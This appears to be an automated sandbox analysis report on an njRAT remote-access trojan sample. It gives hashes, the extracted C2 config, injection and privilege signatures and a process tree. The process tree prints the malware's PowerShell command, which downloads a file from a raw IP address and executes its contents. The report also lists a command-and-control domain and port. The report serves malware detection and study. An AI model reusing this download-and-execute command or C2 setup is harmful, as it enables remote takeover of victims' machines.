Analysis
-
max time kernel
151s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
05-11-2021 12:01
Static task
static1
Behavioral task
behavioral1
Sample
d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe
Resource
win7-en-20211014
0 signatures
0 seconds
General
-
Target
d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe
-
Size
4KB
-
MD5
b9a1c7dd8171afe0e3fc1524f5eafb18
-
SHA1
19b79357841b2bcb3438011f4c8e45f7278aeaa9
-
SHA256
d173b9844be24a9172f2f2adcde3dd65090afa690b1bd952a7da01de33ad60ef
-
SHA512
d57c9cf4a489dec1f8b17351173e1ffc202e454f214b85e132fbd5d8af2d4a611e50e1a7f85eb0dfce438539aaec3b143d1fafafbaa0def914f6401c5993da6d
Malware Config
Extracted
Family
njrat
Version
0.7NC
Botnet
NYAN CAT
C2
redlan.linkpc.net:5553
Mutex
3b407dd04ed042
Attributes
-
reg_key
3b407dd04ed042
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 3092 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3092 set thread context of 3172 3092 powershell.exe AppLaunch.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
powershell.exeAppLaunch.exedescription pid process Token: SeDebugPrivilege 3092 powershell.exe Token: SeDebugPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe Token: 33 3172 AppLaunch.exe Token: SeIncBasePriorityPrivilege 3172 AppLaunch.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exepowershell.exedescription pid process target process PID 3672 wrote to memory of 3092 3672 d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe powershell.exe PID 3672 wrote to memory of 3092 3672 d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe powershell.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe PID 3092 wrote to memory of 3172 3092 powershell.exe AppLaunch.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe"C:\Users\Admin\AppData\Local\Temp\d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -c cd $env:tmp;Invoke-WebRequest http://79.155.175.45/verona.png -OutFile Error.png;gc Error.png | iex2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/3092-139-0x0000027E04613000-0x0000027E04615000-memory.dmpFilesize
8KB
-
memory/3092-118-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-119-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-140-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-120-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-142-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-122-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-123-0x0000027E20470000-0x0000027E20471000-memory.dmpFilesize
4KB
-
memory/3092-124-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-125-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-126-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-127-0x0000027E20620000-0x0000027E20621000-memory.dmpFilesize
4KB
-
memory/3092-128-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-136-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-137-0x0000027E04610000-0x0000027E04612000-memory.dmpFilesize
8KB
-
memory/3092-138-0x0000027E04616000-0x0000027E04618000-memory.dmpFilesize
8KB
-
memory/3092-158-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-117-0x0000000000000000-mapping.dmp
-
memory/3092-121-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-143-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-153-0x0000027E04618000-0x0000027E04619000-memory.dmpFilesize
4KB
-
memory/3092-154-0x0000027E04580000-0x0000027E04582000-memory.dmpFilesize
8KB
-
memory/3092-155-0x0000027E205C0000-0x0000027E205CB000-memory.dmpFilesize
44KB
-
memory/3172-156-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/3172-157-0x000000000040676E-mapping.dmp
-
memory/3172-169-0x00000000088E0000-0x000000000897C000-memory.dmpFilesize
624KB
-
memory/3172-159-0x0000000000040000-0x0000000000041000-memory.dmpFilesize
4KB
-
memory/3172-160-0x0000000000040000-0x0000000000041000-memory.dmpFilesize
4KB
-
memory/3172-161-0x0000000000040000-0x0000000000041000-memory.dmpFilesize
4KB
-
memory/3172-164-0x00000000089F0000-0x00000000089F1000-memory.dmpFilesize
4KB
-
memory/3172-165-0x0000000008F90000-0x0000000008F91000-memory.dmpFilesize
4KB
-
memory/3172-166-0x0000000008BF0000-0x0000000008BF1000-memory.dmpFilesize
4KB
-
memory/3172-167-0x0000000000040000-0x0000000000041000-memory.dmpFilesize
4KB
-
memory/3172-170-0x0000000008BA0000-0x0000000008BA1000-memory.dmpFilesize
4KB
-
memory/3672-115-0x00000000008B0000-0x00000000008B1000-memory.dmpFilesize
4KB